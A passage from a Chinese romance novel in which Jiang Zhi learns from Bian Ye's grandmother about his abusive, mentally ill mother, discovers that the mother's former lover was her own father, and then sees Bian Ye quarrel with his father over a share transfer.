“我不是你召之即来挥之即去的物件,问问我的意愿,尊重我很难吗!”压抑了太久,那些负面情绪涌出像冲下悬崖的瀑布。 话音落下的瞬间,眼泪滚落。 她别过脸,倔强地想要伸手去擦,却被他快一步。 温热的指腹抚过她眼下的皮肤,用尽了柔意。 他胸口翻滚着,搅动着,眼底一片晦涩,声音哑得厉害,“对不起。” 姜栀鼻子发酸,眼泪跟断了线的珠子一样往下掉。 越是忍,越是掉得凶。 边野看着,心都要碎了。 撑着身体去抹那些泪。 “都是我不好……” 他当初只想着她应该去和更好的人在一起,去拥有更好的未来,而不是等他一个连站都未必能站起来的残废。 他怕,怕她跟着这样的自己会委屈。 直到今天,他才知道,她因为这件事有多受伤、多破碎。 他简直混蛋。 边野不停地说着对不起和我不好,一声比一声沙哑,一声比一声温柔。 到最后,他支撑不住,痛到重新跌回地板上。 两个多月来的苦楚委屈终于在今天哭尽,姜栀已经没什么泪,只是眼眶、面颊、鼻头通红。 她喘了口气,鼻音浓重,“我去叫医生。” 这一次他没有再拒绝,任由她离开。 医生们很快赶来,边野被好几个人扶着躺回到病床上。 全程没有哼出声,但她看得出来有多痛。 鼻子一酸,姜栀眼底布着莹莹的泪。 医生给他做了检查,确认他没大碍才放下心来,千叮咛万嘱咐他不要再尝试下床,很容易撞到骨头,变得更加严重。 边野始终安静地听。 直到这群医生离开,病房里回归安静后,他掀起眼皮看她,眼里映着她的身影,清晰仅有。 在他说话之前,姜栀收敛好自情绪。 这样的失态也只有这么一次。 “你好好养伤,我先回去了。”她脸上的红意还没褪去,但又恢复了来时的模样。 淡漠、平静。 姜栀转身离开的一瞬,身后传来低哑磁沉的嗓音。 像是下定了某种决心。 “我不想放手,可不可以——” 他自知理亏,自知过分,然而还是想求得她的原谅。这一刻他真切地感受到她的痛她的悲怆,她的无可奈何,她残余的爱。 他恨不能弄死那样混账的自己。 眼底的渴望和忐忑交织在一起,边野一字一句地艰难道:“可不可以不分开?” 哪怕只能活一天、一时、一分、一秒。 第65章 第 65 章 姜栀没同意。 她曾无数次渴望这句话, 渴望他改变心意,但都没有。 直到今天。 那些日子有多难熬只有她自己最清楚,她不想再折磨自己一次。既然他这么不坚定, 那就丢掉吧。 离开医院, 姜栀在附近找了家酒店入住。 当晚打给任恔妤, 才知道她是真的摔伤了, 不过不太严重。 但姜栀想着自己都来了, 下次回来也不知道会是什么时候, 还是打算去看望她。 然而第二天从酒店出来的时候, 边野的奶奶已经等在门口,三年不见,老太太的精神依旧矍铄,头发梳得一丝不苟,松绿的高领羊毛衫,外套一件墨黑大衣, 腰带齐整地系着, 戴着顶米色针织帽。 端坐在车里不动也挡不住自内而外的贵气。 岁月果真从不败美人。 看见她,老太太笑起来,眼角皱纹丝毫不影响这份从容的晚韵。 “知知——” 老太太朝她招招手。 姜栀没想到她会出现在这里,犹豫了两秒还是遵从地走过去。 在车前停下,温和笑道:“奶奶,您怎么来了?” 老太太没回答她的问题,目光慈祥地逡巡着她的脸,轻叹:“瘦了, 上回寒假回来还有点肉, 现在这脸都干巴了。” “是不是工作太辛苦了?” 姜栀微愣,摇头。 “还好。” 边野如今这样跟她脱不了干系, 边叔叔肯定是生气的,之前接到电话都能感觉出来,哪怕只是转达他脱离危险的消息语气也疏离冷淡,有种公事公办的肃穆。 老太太对比边野更是宠爱,出了这样的事,她以为会很怨她。 但是面对面,老太太却一个字没提,只关心她辛不辛苦。 姜栀心里发热。 熨帖不已。 “快上车孩子,外面冷。” 老太太招呼着,姜栀顺从上去。 她握了握姜栀的手,眉头皱了下,“怎么这么冰。” 姜栀还没来得及解释洗了冷水手,老太太已经把自己手上的手套脱下来给她戴上,温柔又仔细。 手套被捂得很暖和,冰凉的皮肤很快浸入温度。 姜栀心里酸酸的,她觉得很对不起老太太,得知边野伤成这样的时候,一定很难过,却还要支撑着。 她眼睫轻垂着,声音低低:“您不怪我吗?” 车里温暖如春,老太太望着她轻笑起来,“怪你做什么?” “小野十几年来没对什么执着过,你能走进他心里是缘分。他不愿意做的事拿命逼他也没用,但他要是想做,谁都拦不住。” 老太太知道孙子半死不活的时候何止是伤心,当场就晕了过去,但她也舍不得怪姜栀。 姜栀年纪轻轻的时候就丧父丧母,在边家寄住的这些年乖巧懂事,小心谨慎,从没问他们要过什么,看着就令人心疼。 这段时间她在盐城的事儿闹得沸沸扬扬,好的不好的都在承受,天可怜见的。 “他救你是他自愿的,好在你平安地活下来了,否则我不知道他还能做出什么事。” 老太太眼里浮起怅然。 姜栀眼睫颤动了下,心口略沉地看向她。 好像说什么都不够。 车在柏油大道上行驶,老太太拍拍她的手,问她在盐城过得怎么样,盐城是不是比这儿冷很多,又问她准备在宿城待多久,什么时候回。 姜栀一一答了。 路程还长,老太太就跟她讲起小时候的边野。 “你知道他刚生出来的时候皱巴巴的,我还想边家几代模子都不错,该不会到他这里就基因突变了吧,我可不喜欢丑孙子。” 老太太话里嫌弃,眼底却流露着爱意。 姜栀不明白她怎么忽然说这些,就安安静静地听。 “好在后来长开了,比他爸小时候好看多了,是我们老边家最好看的一代。”老太太回忆起来,满脸慈爱,“他一岁的时候就开始走路,还走得很稳,小不点一个,到处找爸爸妈妈爷爷奶奶,粘人粘得厉害。” 姜栀放空脑袋去想象他的粘人。 她想到他开了好几个小时的车,从宿城一路赶到孟城,不知疲倦地带她去滑冰,带她放烟花。 想到他一个暑假给她打了无数个视频,有时候也没那么多话要说,就让她陪着他刷题,末了挂电话还会不舍。 她又想到那个暑假还没过完他就催着自己回去。 “三岁的时候最可爱,他爸爸妈妈和别墅里的佣人都喜欢逗他,他那个时候才这么点大,”老太太嘴角挂着温和的笑,用手比着他的身高,“但很聪明,被人逗多了还会反击回去,小大人一个,那时候跟现在不一样,很傲娇,也很活泼,嘴也甜,见谁了都会叫。” “家里没人不喜欢他,都说小黎养了个好孩子,一家子其乐融融的。” 姜栀是第一次听老太太提起小时候的边野,生出些新奇来。 老太太说到浓处,拿出手机,从相册里翻出边野儿时的照片,“这是五岁时候的,你看,是不是很可爱。” 她目光落过去,照片上的小男孩穿着黑色小西装,系着温莎结。五官还没长开,但已经出具帅气,大眼睛像个黑葡萄,水润可爱。 照这张相片时臭屁地环着双臂,脑袋微扬,颇为傲娇。 和现在是完全不一样的风格,那个时候的边野丝毫看不出沉压、厌世、冷厉。 老太太偷摸看了她一眼,见她看得专注,感慨道:“这样的小野也只维持到他六岁那年。六岁那年他爸妈感情出现问题,两个人都不长嘴又都很有自尊,谁都不愿意低头,到后来误会越来越深,阿政开始早出晚归,时常是小野和他妈妈待在家里。” 姜栀敛眸,看向她。 老太太眼底流露着哀愁和惋惜,她想起高二那年管叔曾告诉她的那些事,想起边野曾受过的悲惨遭遇。 “不怕你笑话,我那个时候也以为阿政是真的跟他的女秘书不清不楚。我们这样的世家,联姻只为了巩固利益,没人会在乎两个人之间有没有感情,从一而终的万里挑一。” 老太太说着,带着些看开的意味,“感情的事我不能插手,好跟不好都是两个人的事。” “说起来我还要谢谢你。”她笑着迎上姜栀的目光,“如果不是你,我还不知道阿政跟他的秘书之间什么都没有,我倒是也误解了他这么多年。” “我还活着还能知道真相,可惜小黎不在了,她再也不会知道了。” 姜栀心口沉下去。 说不上来是什么滋味,潮湿泥泞。 一转眼,黎姨都去世八年多了。 那个牵着车祸后无助、难过、失了魂的她的人已经长眠于地下这么多年了,如果当年重生的再早一点,哪怕只一点,后面的一切会不会都不一样了。 “奶奶……” 她反握住老太太的手,却不知道怎么去说安慰的话。 说什么都苍白。 老太太叹了口气,“最苦的还是小野啊。” 她语调沉惋,“到他七岁那年,两个人的感情已经岌岌可危,但家族联姻即便没有感情也不会轻易离婚。小黎熬着熬着身体就出问题了,最开始的时候只是对小野忽冷忽热,那个时候就算情绪变化大,也还是会照顾小野,越往后冷淡的时候越多。 小野虽然是个孩子,但他早慧,什么都明白,知道阿政不是所谓的公司事务繁忙才经常不回家,他那个时候还很懂事,会陪着他的妈妈。” 老太太心里沉甸甸的,“然而小黎的状态越来越差,越来越差,开始做噩梦,梦境和现实逐渐分不清楚,到了需要吃药才能缓解的地步。他心疼小黎,一有时间就陪着。” “可好景不长……” 老太太说的每一句都在重现着当年的悲剧。 那个姜栀从未接触过的时间里,空白的页面逐渐被描绘得清楚起来。 隔着时空,她仿佛看见了还很年轻的黎姨。 …… “滚。” 卧室内的女人冷眼盯着门边的边野,那时候他刚过完十一岁生日,少年已显现出硬朗的轮廓,双眼漆黑如墨,唇紧紧抿着,已没有儿时的可爱亲人,透着些淡漠。 就在两天前的生日宴上,她还笑着给他送上准备已久的礼物,温柔到有些不真实。然而短短两天,她好像又被魔鬼夺舍了。 边野定定看着她。 她脸色苍白,瞳孔麻木而愤怒,但依旧挡不住那份优雅与美丽,反倒将她衬得如同珍贵易碎的瓷器。 妈妈又犯病了。 他攥紧了掌心,胸口闷痛。 近来越发严重,每一次犯病都会开始发疯。但他不惧,只是每多看一回,心脏就沉下去一回。 “我让你滚,你没听见吗!” 黎宁愤怒不已,抄过桌上的白玉烟灰缸朝他狠狠砸过去,“滚啊!” 边野没躲,烟灰缸不轻,将他的额角砸出血来。血珠顺着淌下来,带出蜿蜒的血痕,最后停在下颚处,触目惊心。 额角刺痛阵阵袭来,他一声没吭。 黎宁被血刺激到,只颤抖了一瞬,面对这张脸又歇斯底里起来,“滚,滚远点!你身体里流着跟他一样肮脏的血,我看见你这张脸就恶心,我当初怎么会生下你,你就是个累赘,累赘!” 她眼眶猩红,在苍白如纸的脸色衬托下更显可怖,“我不需要你的存在来一遍遍地提醒我,我有多失败!” “你怎么不去死!”黎宁疯了一样地抓过所有能抓过的东西往地板上砸。 噼里啪啦、叮呤咣啷。 像是要砸碎一切。 小小的边野始终安静地站在那儿,身侧的手攥得越来越紧。 明明已经听过很多次了,他怎么还会有情绪。 妈妈只是生病了,并不是不爱他。 黎宁发泄了很久,到最后快要晕厥。 他心口绞痛,这才走进去。 把妈妈放好在床上,熟练地从抽屉里拿出药,就着水给她喂药。 药吃下去,困意就泛上来,黎宁昏睡过去,卧室里恢复了安静。 边野看着砸了一地的东西,一样一样捡起来。 然后收拾好,归回原位。 最后,他出去捡那只白玉烟灰缸,碎瓷片割破了指腹,流出血来,他像没看见般继续捡。捡完就带回自己的房间,拿胶水伏在桌前修补。 这是黎宁曾送给边政的结婚纪念日礼物,是她很用心挑选的。那个时候他们感情还很好。 他不明白,妈妈这样好,为什么爸爸还要喜欢外面的女人。他心里的平衡杆已经开始倾斜,他讨厌边政。 像以往每次发病清醒后那样,黎宁醒来发现边野额头上的伤心疼地直落泪,哽咽着道歉,恨自己为什么不能控制情绪。 她温柔地给他擦药包扎。 每到这种时候,边野才会感受到一些爱意,一些在她清醒时候的爱意。 他想,如果边政不爱妈妈,那他就做妈妈的盾,做保护妈妈的骑士。 等他长大,他一定带着她离开这个窒息阴暗的家。 他已经十一岁了,很快……很快他就会长大。 边野一直坚定着只要长大就好了,他努力吃饭努力让自己长个子。 一放学就会赶回家,看望黎宁。 黎宁清醒的时候是个很温柔的人,对他也很好,他很珍惜这样的日子。 直到十三岁那年,他以为的美好其实脆弱得像泡沫,一戳就破。 后来无数次,他想,如果那天没有想给黎宁在生日这天送上惊喜,没有想去她的卧室藏东西,是不是就可以假装不知道,假装黎宁还爱他。 那天傍晚,边野特意早早带着礼物回家。 上楼后,直奔她的卧室。 他不知道该把东西放在哪里,就四处寻找可以藏匿的位置,可地方还没选好,他就听见黎宁回来的声音。 一时情急,边野就躲进了浴室。 要是让她看见怀里的东西,就没有惊喜了。 黎宁这时候是清醒的,因为她是边打电话边进来的。 隔着浴室的门,他看不见她的神情,但能听见声音。 他在满腔为黎宁准备惊喜的情绪里,听见了一辈子都不会忘记的话。 “你帮帮我,带我走好不好,我求求你,我在这里生不如死。”黎宁带着哭腔说话,满腹无奈与无助,祈求的声音可怜万分。 “你还有孩子,你走了他怎么办?”对面的男音低沉而为难。 黎宁几乎崩溃,她眼泪一颗颗往下掉,“我管不了那么多了,再在这里待下去我会死的,阿远,你帮帮我,你帮帮我……” 她眼眶赤红,泪珠动荡。 那个女秘书怀了边政的孩子,来找她逼她让位,告诉她,她有多不被边政喜爱,又有多失败,连个男人都拴不住。 她被刺激着,被虚假的证据骗到心死,完全不知道女秘书早就意外流产,也不知道女秘书连爬床都没成功过,神经被无限碾压。 黎宁像无头苍蝇般回到黎家求爸妈出面让她离婚,她不想过这样的日子了,她现在生病的次数越来越多了,她想离婚,去哪里都可以。 可爸妈不同意,他们说她不懂事,说谁的婚姻不是一地鸡毛,说她还有个孩子,孩子还小,需要妈妈。 他们说了很多,但没有一句是站在她的立场上说的。 黎宁彻底崩溃,她想逃,可爸妈有戒备,她一个人也不知道逃去哪里。 也是这时候,她想起了前任。 她没有想要打扰前任现在的生活,但她没有人可以寻求帮助。 “我没办法了。” 黎宁哭得肺管都疼,“当初生下他是满怀爱意的,可现在他就像个恶魔,你懂吗?他身上有边政的影子,有好几次,我差点趁着发病想要掐死他。 我不该生下他的,我自己连活着都困难,他如果死了,如果死了也许我真的可以离婚……” 黎宁的情绪越来越激动,从一地鸡毛的婚后生活哭到曾经和他在一起的时候有多自在快乐,她就像个快要溺水的人,胡乱地去抓,什么能抓到就抓什么,什么能救命就牢牢不放。 许久后,她离开了这间卧室。 边野在浴室里靠着磨砂玻璃门,一下子没了力气,行尸走肉般从里面走出来。怀里精心准备的礼物像个笑话般刺目。 回房间的途中,他顺手丢进了垃圾桶。 边野从未像今天这样觉得自己真的不该出生。 不只是边政,连他心心念念想要保护的母亲也想着怎么离开,怎么丢下他。 父亲跟秘书不清不楚,母亲跟前任不明不白。他们谁都不多余,只有他,他成了这个家里唯一的累赘。 他确实不该出生、不该存在。 那颗尚有温度的心脏终于扎满冰碴,封冻、死寂。 连着几天,边野把自己窝在房间里,就躺在床上,也不去学校。 黎宁接到学校老师通知的时候,正在发病边缘。 所有的一切堆压在一起,快要将她压死。 窒息。 痛苦。 一切的一切终于激发了最严重的症状,黎宁不断地发疯,到处砸东西,说话一句比一句难听。 可边野无动于衷,冷淡、沉抑、甚至有点讽刺地看着她。 这样的眼神太像和她吵架时候的边政了。 太像了。 黎宁浑身发抖,终于没忍住,伸手去掐他。 掐死他。 掐死他自己就能挣脱了。 不、不可以。 他是你十月怀胎,辛苦掉下来的肉。 别做傻事。 无数不同的声音在脑子里打转、迸发、纠缠。 黎宁痛之欲生,恨之欲死。 最后失手把他推下了楼梯。 那么长一截楼梯,他连挣扎都没有,就这么摔下去。 滚到地面时,四处都痛,他感觉到有血流出来,眼前一片模糊,有尖叫声、呼救声,还有嘈杂的脚步声。 痛不算什么了,如果死亡是终点的话。 …… “他是个好孩子,可是命不好。” 老太太眼眶湿润,说起来唏嘘,“我知道的时候他已经被这么对待过很多次了,但每次都一声不吭,身上大大小小的伤,提出接他去老宅住,他也不愿意。 摔下楼梯那次是最严重的一次。我赶去看他的时候,他已经不是我印象里的小野。他变得冷血、厌世、毫无生气。这段糟糕的婚姻,害了阿政和小黎,也害死了那个鲜活的小野。 我的小野,他受尽了苦。” 姜栀瞳眸晦涩,有什么卡在喉咙里上下不得。 她不曾见过满心想要护着黎姨的边野,在她所拥有的记忆里,他和黎姨总是没什么话要说的,哪怕好不容易说上几句,到最后也是不欢而散。 可哪个人是天生就厌恶妈妈的呢? 心里沉甸甸的,如坠着一块重石。 一点一点碾着她的心脏。 钝痛不止。 在她不知道的时候,他过得这样艰难。 老太太用手帕擦了擦眼角溢出的泪,嘴角挂起浅浅的弧度。 “但后来,你来了。” 她眼底浮着慈爱,“那是时隔多年,我第一次见他愿意重新敞开心怀,面对一个并不认识的姑娘。他虽然跟我亲近,但到底是回不到小时候那样了。” “但他在乎你,什么都愿意为你去做,冒着生命危险也要去救你,让我看到了曾经的小野,鲜活而有力量。” 姜栀怔怔地看着老太太,这些细碎的、真实又清楚的过往在耳鼓里过一遍后,她很难没有心绪上的波动。 而也忽然明白,为什么自己一出酒店就会看到她。 是边野。 他找来的。 老太太心疼孙子,想撮合他们,所以这样冷的天仍旧亲自过来找她。 跟她说边野的曾经,事无巨细。 她不否认心里难受,也不否认对他还残余着爱意。 但她没有勇气了。 没有勇气再来一次。 “奶奶,您跟我说这些是他的意思吧。”姜栀清醒地问她。 老太太笑着摇了摇头,“你以为是他找我过来的?” 难道不是吗? 她眼底浮出疑惑。 “小野昨天的突发状况医生都会通知到位,他自打受伤住院就没有这么情绪激动过,除了你,我想不到别人。” 老太太眼底没有责怪,年轻人的感情应该让他们自己解决,她今天能来不过是不想看相爱的两个人互相错过。 有时候一辈子也可能只会遇到一个这么爱到骨子里的人。 姜栀神色抱歉。 “我没有怪你,儿孙自有儿孙福。”老太太比边政看得开,“你最后要做什么决定,我也不会拦着你,那都是你的自由。” 她拍了拍姜栀的手背,“但在那之前,我想带你去个地方。” - 冬天的满园略显萧瑟,青瓦白墙的院内,种植了大片的花在寒冬里都还没有开放,只余一片绿色。穿过拱门,内里曲廊回环,亭台水榭和围栏镂窗都设计得别致精细。 姜栀跟在老太太身边,目光礼貌地扫过。 “这地方是阿政当初特意买下来设计送给小黎的,那时候他们感情还很好。小野出生后,在六岁之前,每年都会跟他们在这住一段时间。” 老太太走上台阶,推开门进去。 偌大的客厅多以古木家具作软装,四处都干净整洁。 应该是有阿姨时常打扫。 老太太带着她上楼,穿过走廊,打开了卧室的门。 “这儿是小黎的房间,小野小时候就喜欢粘着他妈妈,睡觉也要一起睡,不肯去自己的房间。” 姜栀的视线落进去,宽敞的房间里,床已经被防尘布遮住,垂落的米色窗帘边是精雕细琢的檀木桌,上摆着个相框,将一家三口牢牢框住。 窗外的光正巧落在相框一角,照亮黎姨半张脸,将她的笑趁得越发温柔。 这样由内而外散发着鲜活感的黎姨她从未见过。 哪怕黎姨对她一直很好,但她能感觉出来,黎姨只是在维持温柔的表象,皮层之下是麻木、是无奈和妥协。 好像只要温柔面对这个世界,也能骗骗自己,还可以活下去。 姜栀眼眶酸了酸,才缓缓看向她牵着的小少年。 看起来四五岁的样子,两眼弯弯地笑着,脑袋倾斜着贴着黎姨的腰,姿态亲昵。 这样和睦的氛围她从没想象出来过。 老太太见她定定地看,笑着说他们曾在这里留下过很多照片,那时候的小野活泼好动,十分可爱。小黎把这些都整理成了相册,是后来很多次她婚变后撑下去的源头。 但在差点掐死小野那次之后,小黎就让人把相册送了回来。 坐落在墙角的檀木架上层摆着两个小箱子。 老太太边说边踮脚去取最上层里面的箱子,架子有点高,老太太略显吃力,姜栀便伸手去帮她。 东西倒是拿出来了,但出柜的瞬间撞到外间的匣子。 “砰”的一声,那匣子直直掉下来。 里面的东西砸乱地散开。 姜栀赶忙蹲下身去收,信件很多,她一封一封放回去,动作忽然间一顿。 拿起来的那封信笺上写的是黎姨的名字,可字迹令她莫名熟悉。 一撇一捺,力道遒劲之间她想起了自己的父亲。 她很小的时候就觉得爸爸的字写得好看,无数次模仿,可怎么都模仿不到精髓,撇那之间的轻重她总是掌握不好。 爸爸还曾教过她,但她实在学不会。 哪怕练习过很多遍。 这感觉扑面而来后,她去寻寄出地。 孟城。 姜栀眉头轻蹙了下。 怎么会这么巧。 老太太见她盯着信封发呆,蹲下来温和地帮着一起收拾,“这是小黎自己一直收着的东西,我们倒还不曾动过。要不是今天打翻了,还不知道里面装着这么多信。” 姜栀的思绪被老太太拉回来,她拂去脑子里的猜疑,继续收,直到看见掉落出来的照片被奶奶捡起。 她神色僵住。 照片上是黎姨和爸爸的合照。 姿态亲昵。 如果说字迹这世上有如此相似的,那长相呢。 一个小小的孟城怎么会出现一个和爸爸长得一模一样,连字都一样的人。 老太太发现这张照片上的男人不是边政后也愣了下,但只一瞬而过,并没特意去说,正要收进去,却听姜栀道:“奶奶,这张照片可以给我看看吗?” 老太太偏头看她一眼,见她神色怪异,迟疑了一秒还是递了过去。 姜栀接过,定定地望了许久才发现相纸下方有字迹的凹凸感。 翻过去,她看到那句很亲昵的话。 ——小黎,如果注定不能在一起,我会在未来每一天都祈愿你过得幸福快乐。 落款名是姜远。 姜远、孟城。 熟悉的字和脸。 姜栀不敢置信的同时又不得不信,照片上的男人是她的爸爸。 她脑子空白了一瞬,然后无数场面纷至沓来,凌乱得没边。 最后停留在车祸后的医院里。 她醒来看到的除了医生,就只有黎姨。 那时候她不知道这个女人是谁,为什么突然出现在她病床前,还哭得不能自已。明明在那之前她从没见过黎姨,她却这样伤心。 “我是你爸的朋友,他曾救我一命,所以以后,你就跟着我,我会抚养你,送你上学,把你当做自己的亲女儿对待,好吗?” 黎姨眼眶赤红,泪在里面打转。 住院的那段时间更是天天过来看自己,想方设法地安抚她,哪怕她因为陷入过度悲伤里,连话都说不了几句。 黎姨从未不耐过,在她身上用尽了温柔。 在今天之前姜栀都相信着她说的那些关于和爸爸关系的话。 原来不是朋友。 从来都不是。 爸爸嘴里的那任初恋竟就是黎姨。 她自心底里感激黎姨做的一切,如果不是黎姨,她不会那么快挺过来,爷爷奶奶也会有很重的负担。 可留着这些东西,边叔叔是否知道,边野又是否知道。 哪怕这些都是婚前留下的痕迹。 心口仿佛被浸了水的海绵塞住。 姜栀眼底有泪浮出,动荡的视线里,照片上的人面庞模糊。 那些断裂的、纷乱的东西在此刻一点点串联起来。 无论边野知不知道,边叔叔一定是知道的。 所以他们之间的误会越来越深,到最后影响到边野。 这段自他六岁以后貌合神离的婚姻,逼疯了黎姨,也把他逼成了另一个模样。 她想起那些日子里,边野是如何跟黎姨和边叔叔针锋相对,不愿回家,任由自己堕落。 想起黎姨自杀那天,他是怎样冷着脸进的病房,又是怎样冷着脸离开。 想起他连葬礼都不曾参加。 可最开始,他并不是这样,他明媚活泼,是个谁见了都很喜欢的孩子。 姜栀心里堵塞,吸了吸鼻子,想把眼泪逼回去。 老太太见状,一脸担忧:“怎么了知知?” 她扯了扯唇角勉强笑了笑,“没事奶奶,我就是想起一些往事。” 老太太看她这样子,目光又落在那张照片上。 “世家的孩子联姻之前有过感情都很正常,只是最后都不能善终罢了。”她轻轻叹了口气,“你不用想太多。” 姜栀点点头,把照片放了回去。 她低垂着眼睫继续收拾,到最后看见散落在远处的那封遗书。 是黎姨写给边野,奶奶又交给了她,让她转交给他的那封。 她愣了下,把信封捡起。 封口没有拆开的痕迹。 姜栀眼睫颤动了下,他没有看过。 那是什么时候来的这里,把遗书放进来的。 她怔忪着,脑子里想起交给他遗书的时刻,又想起那之后的时光。 他从未和她有过无法调节的争吵。 唯独高三那年,黎姨忌日那次。 她来找他一起过去看望时,他异常生气,眉目阴冷而讽刺,说出那句令她气血上涌的话—— “用一场车祸住进边家,换来泼天富贵,换来我拜倒在你手下,是不是很爽?” 是比她不得不跟他分开时说的话还要难听。 刺激着她每一根神经。 她没控制住自己,当场泼了他一杯冷酒。 从相识相知相恋,到后来分开,那样长的一段时间里他说过的最难听、最侮辱的话莫过于此。 姜栀曾以为他是因为她跟白司裴的事而愤怒到口不择言,可原来不是。 这一切都有迹可循。 他在那个时候,回来放遗书,看见了这些。 得知了黎姨和爸爸的关系,也知道了她是谁。 从小就有人说她跟爸爸长得像,他那样聪明,怎么可能猜不到呢。 所以。 在她无可奈何之下找了白司裴做戏,故意给他制造移情别恋的表象时,他在极度的痛苦中又发现了这些,因此在见到她的时候,终于控制不住,终于爆发。 他承受的不仅仅是以为她不喜欢他的痛,还有长达多年的、家庭里的苦。 而她再次出现就像个导火索,彻底点燃了他。 心口细细密密的疼,姜栀眼泪啪嗒一下掉出来,砸在信封上,晕出痕迹。 她怎么会现在才知道。 他恨她到什么地步,她都该接受。 可偏偏,在那之后,他仍旧爱她,甚至满城找人给她修旧表,还给她准备生日礼物,他明明不需要这么做。 哪怕重逢后,他也没有因此刁难她。 甚至拼了命地救她,差点死在贺为京手下。 她低估了边野对她的感情。 胸腔内的情绪翻滚,姜栀难以控制,用手捂住脸,任由眼泪滚落。 老太太欲言又止,轻轻拍了拍她后背。 好半天,她才勉强止住哭声。 吸了吸鼻子,用手抹掉脸上的泪。 姜栀回头看她,愧疚翻涌,声音沙哑:“奶奶,我是不是从一开始就做错了。” 如果她在知道边野的心思时,彻底远离,不再出现,如果她没有答应和他在一起,如果…… 老太太心如明镜,知道她在问什么,笑着替她拨过碎发。 “这世上的事,哪有什么对错,只有做和不做,做你认为应该做的事、可以做的事,做了就做了,不去后悔。” 她面容慈祥,神色温和。 姜栀哭红了眼睛和鼻子,眉目朦胧。 她控制了情绪后把东西都收好,准备跟老太太一起看边野儿时的照片,但老太太没打开,把整个匣子都塞进了她怀里。 老太太笑得意味深长,说这些不应该她陪着看,会有更合适的人。 姜栀心里翻江倒海的,脑子乱得像毛线团。 半个字都说不出来。 从满园里出去。 老太太要送姜栀一程,被她婉拒,她现在想自己一个人静静。 今天温度比昨天又低了五度,已经零下。 姜栀裹紧了领口,把围巾卷了卷。 她缓慢地走在路上。 任由刺疼的冬风刮过她的脸颊、耳朵。 这样才好清醒一点。 这种天气,道上路人不多。 姜栀放空着大脑,漫无目的。 直到口袋里的手机响了数秒以后,她才回过神。 摸出来,屏幕上跳动着熟悉的名字。 姜栀顿了许久,电话因无人接听而挂断,对面紧接着又打过来第二次。 这一回,她没再躲。 电话接通,她还没开口,隔着电波,边野的声音有一丝压制不住的匆促:“姜栀——” “今天可以不走吗?” “什么……?”姜栀愣了下,没明白。 她并没订今天回去的票。 “我——”边野嗓子紧了紧,毫无在谈判桌上的沉稳不惧和从容不迫,只以最低的姿态祈问:“能不能再见一面,哪怕十分钟。” 第66章 第 66 章 姜栀虽没有明确答应, 但那一句“让我想想吧”已经足够令他支撑起来。 她不愿意再跟他继续也没关系,他要把最后一件事做完,至少不能留下遗憾。 边野拿过手机, 找到周然的号码打过去。 周然刚滑雪结束, 气喘吁吁地和朋友们打闹玩笑, 听到他的电话, 先是愣了好几秒, 然后热泪盈眶:“老板!你终于活了, 你吓死我了, 我还以为我饭碗要丢了!” 天知道,她得知边野为了姜栀去跟贺为京对峙的时候,有多提心吊胆,警车、救护车和记者们接连不断地报道几乎要给她吓昏过去。 之后的每一天她都魂不守舍地思考着老板是不是还活着,虽然他偶尔脾气怪,也会冷脸, 可对下属是朕没得说。 一连十几天都毫无消息, 公司里都传他估计救不活了。 那么大的火呢。 周然心里难过死了,她的老板还有未来的老板夫人都是顶好的人,为什么要遭遇这些,那个叫贺为京的才是真该死! 后来副总出来主持大局,周然近乎绝望,虽然职位没动,可她很怀念老板在的日子。 本来都以为不会再接到老板的电话,可现在这道熟悉的声音就这么清楚确切地落在耳边, 周然激动不已。 她絮絮叨叨地说, 太聒噪了。 边野淡淡打断,“安静点。” 周然红着眼眶, “哦”了一声乖乖闭嘴,却一点都没有委屈与不满。还得是老板,这才是那个熟悉的味道。 她吸了吸鼻子问:“老板,你什么时候回来带领我们?” 边野眉头轻蹙了下,已经能坦然面对这件事。 “还要很长一段时间吧,公司不会因为我不在就倒闭。” 周然撇了撇嘴,“我不是这个意思。”她知道边野肯定不会无缘无故给她打电话,问道:“老板,是不是有什么事要吩咐我去做?” “嗯。”他声音低沉平静,有种立遗书的淡漠,“拟一份股权转让书,尽快。” 周然一愣,“啊?”她眉头一皱,“老板你该不会——”不干了吧。 “不会。”边野淡淡道:“尽快,最好是天黑之前就给我。” 周然想起一个人,偷偷问:“是……给姜栀的吗?” “你问题有点多了。” 边野脸上没什么情绪,刚说完,就见边政从门外进来,也不知道什么时候就站在那儿,一双沉浸商场沉浮的眼紧紧盯着他。 他没再说什么,挂断电话。 哪怕知道他和苏明歆之间并没有什么肮脏不堪的事,但这么多年下来,边野跟他已经回不到儿时那种亲昵。 彼此之间能心平气和地说话已经是难得。 边政来得巧,刚好听到股权转让那句。 医生告诉他昨天来了个探病的女孩子,温温柔柔的模样,但不知道怎么就跟边少起了冲突,他从病床上掉下来,万幸没有大碍,以后一定要控制好情绪,不能过于激动。 边政一听,哪里还能不知道是谁。 火气噌的一下就上来了。 他是过来质问边野的,但就这么不早不晚的,听到了这句。 边政心里的怒火更是烧得噼里啪啦。 关上门,他尽力压着脾气,但脸色依旧很冷,“股权转让,什么意思?” 边野眼皮动都没动一下,“字面意思。” “转让给谁?”边政面色难看,“你以为创业这么容易吗,你为了芯耀付出了多少你自己不清楚吗,这点股份说转让就转让,你是伤了不是死了,为了个女人做到这个地步,她领你的情吗!” 越往后,他几乎压不住怒火。 姜栀自打来了边家就一直很懂事乖巧,他不否认心底里是喜欢这个孩子的,但她到底是姜远的女儿,哪怕再温顺也不是他边家的人。 外加这次贺为京的事,他对姜栀,长辈对晚辈的那点喜欢几乎散干净了。 他的儿子伤成这样,他整宿整宿地失眠。 如果知道是这样,当初就是跟小黎闹翻,他都不会同意把让她把这孩子带回家。 “你是在火场里把脑子也伤了吗!” 边政语调加重,牙关收紧。 相比他的激动,他的愤怒,边野平静许多。 “你不也说了,这股份是我的。”他掀起眼睫,漆黑的瞳眸冷淡无温,“我当初出国你也算间接推手,我在国外那么多年你尽到过父亲的责任吗?” 他脸上没什么情绪,边政却觉得刺人得很,“我创业、开公司,有问你拿过一分钱,寻求过你一点援助吗?现在要来插手我的决定是不是有点晚了。” 边政脸色一会青一会白,最后咬紧了牙关。 “我不同意!你要是没有精力管理,我可以派人过去替你先打理,但你要这么平白地送给外人,我绝不同意!” 住院的这些日子以来,他和边政相处时带着点诡异的平和,就像冬日湖面上的薄冰,看着平坦,但只要稍微用点力,就能碎出一个洞。 而现在,冰裂了。 边野淡淡盯着他,眼底浮出一丝讥讽,“是派人过去帮我打理,还是趁机收服人心?” 边政脸色骤然一变。 但不等他发火,边野已经继续说道:“既然知道公司是我一手创立的,就不要妄图插手,你同不同意,改变不了我的决定。” 他说完想到什么,声音低沉,“你当年知道黎女士心里有别人的时候,怎么不坚决离婚,还把人困在身边?” 